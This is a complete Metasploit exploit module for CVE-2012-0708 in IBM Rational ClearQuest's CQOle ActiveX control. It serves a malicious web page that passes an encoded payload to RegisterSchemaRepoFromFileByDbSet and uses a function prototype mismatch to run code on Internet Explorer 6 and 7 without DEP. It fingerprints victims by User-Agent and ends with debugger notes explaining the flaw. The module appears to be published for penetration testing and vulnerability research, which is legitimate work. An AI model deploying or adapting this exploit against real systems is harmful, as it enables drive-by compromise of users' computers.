IBM Rational ClearQuest CQOle – Remote Code Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "6.0", :ua_maxver => "7.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :classid => "{94773112-72E8-11D0-A42E-00A024DED613}", :method => "RegisterSchemaRepoFromFileByDbSet", :rank => NormalRanking }) def initialize(info={}) super(update_info(info, 'Name' => "IBM Rational ClearQuest CQOle Remote Code Execution", 'Description' => %q{ This module exploits a function prototype mismatch on the CQOle ActiveX control in IBM Rational ClearQuest < 7.1.1.9, < 7.1.2.6 or < 8.0.0.2 which allows reliable remote code execution when DEP isn't enabled. }, 'License' => MSF_LICENSE, 'Author' => [ 'Andrea Micalizzi aka rgod', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2012-0708' ], [ 'BID', '53170' ], [ 'OSVDB', '81443'], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-113/' ], [ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21591705' ], ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'ExitFunction' => "process", 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ # cqole.dll 7.1100.0.150 [ 'Automatic', {} ], [ 'IE 6 / IE7 (No DEP)', {} ], # Because of the nature of the vulnerability no DEP is a requisite ], 'Privileged' => false, 'DisclosureDate' => "May 19 2012", 'DefaultTarget' => 0)) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1] #IE 6 on Windows XP elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[1] #IE 7 on Windows XP elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/ return targets[1] #IE 7 on Windows Vista else return nil end end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}") send_not_found(cli) return end js_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(my_target.arch)) object_id = rand_text_alpha(rand(8) + 4) dbset_value = rand_text_alpha(rand(8) + 4) var_payload = rand_text_alpha(rand(8) + 4) html = <<-EOS <html> <body> <object id='#{object_id}' classid='clsid:94773112-72E8-11D0-A42E-00A024DED613'></object> <script language="JavaScript"> var #{var_payload} = unescape("#{js_code}") #{object_id}.RegisterSchemaRepoFromFileByDbSet("#{dbset_value}", #{var_payload}); </script> </body> </html> EOS html = html.gsub(/^\t\t/, '') print_status("#{cli.peerhost}:#{cli.peerport} - Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end end =begin * RegisterSchemaRepoFromFile and no RegisterSchemaRepoFromFileByDbSet is called: Breakpoint 0 hit eax=3190b1a0 ebx=00000000 ecx=03015cf0 edx=7835f5d2 esi=0013e200 edi=0000000c eip=78371062 esp=0013e204 ebp=0013e2b4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 MFC80U!_AfxDispatchCall+0xe: 78371062 ffd0 call eax {cqole!OAdSession::RegisterSchemaRepoFromFile (3190b1a0)} * RegisterSchemaRepoFromFile prototype (it is going to be executed): .text:31865E40 ; protected: wchar_t * __thiscall OAdAdminSession::RegisterSchemaRepoFromFile(wchar_t const *) his ret is: retn 4 * RegisterSchemaRepoFromFileByDbSet prototype (it should be executed): .text:31866280 ; protected: wchar_t * __thiscall OAdAdminSession::RegisterSchemaRepoFromFileByDbSet(wchar_t const *, wchar_t const *) his ret is: retn 8 * When RegisterSchemaRepoFromFile returns to MFC80U!_AfxDispatchCall it is what happens: 0:000> p eax=00186864 ebx=00000000 ecx=442d618d edx=00070001 esi=0013e200 edi=0000000c eip=78371064 esp=0013e208 ebp=0013e2b4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 MFC80U!_AfxDispatchCall+0x10: 78371064 c3 ret 0:000> dd esp 0013e208 001dcff4 7835f5d2 fffffffe 78336a3a ESP is pointing to the second argument of RegisterSchemaRepoFromFileByDbSet and no to the stored EIP on the stack. The ret from MFC80U!_AfxDispatchCall allows to get control on a reliable way when DEP is disabled =end |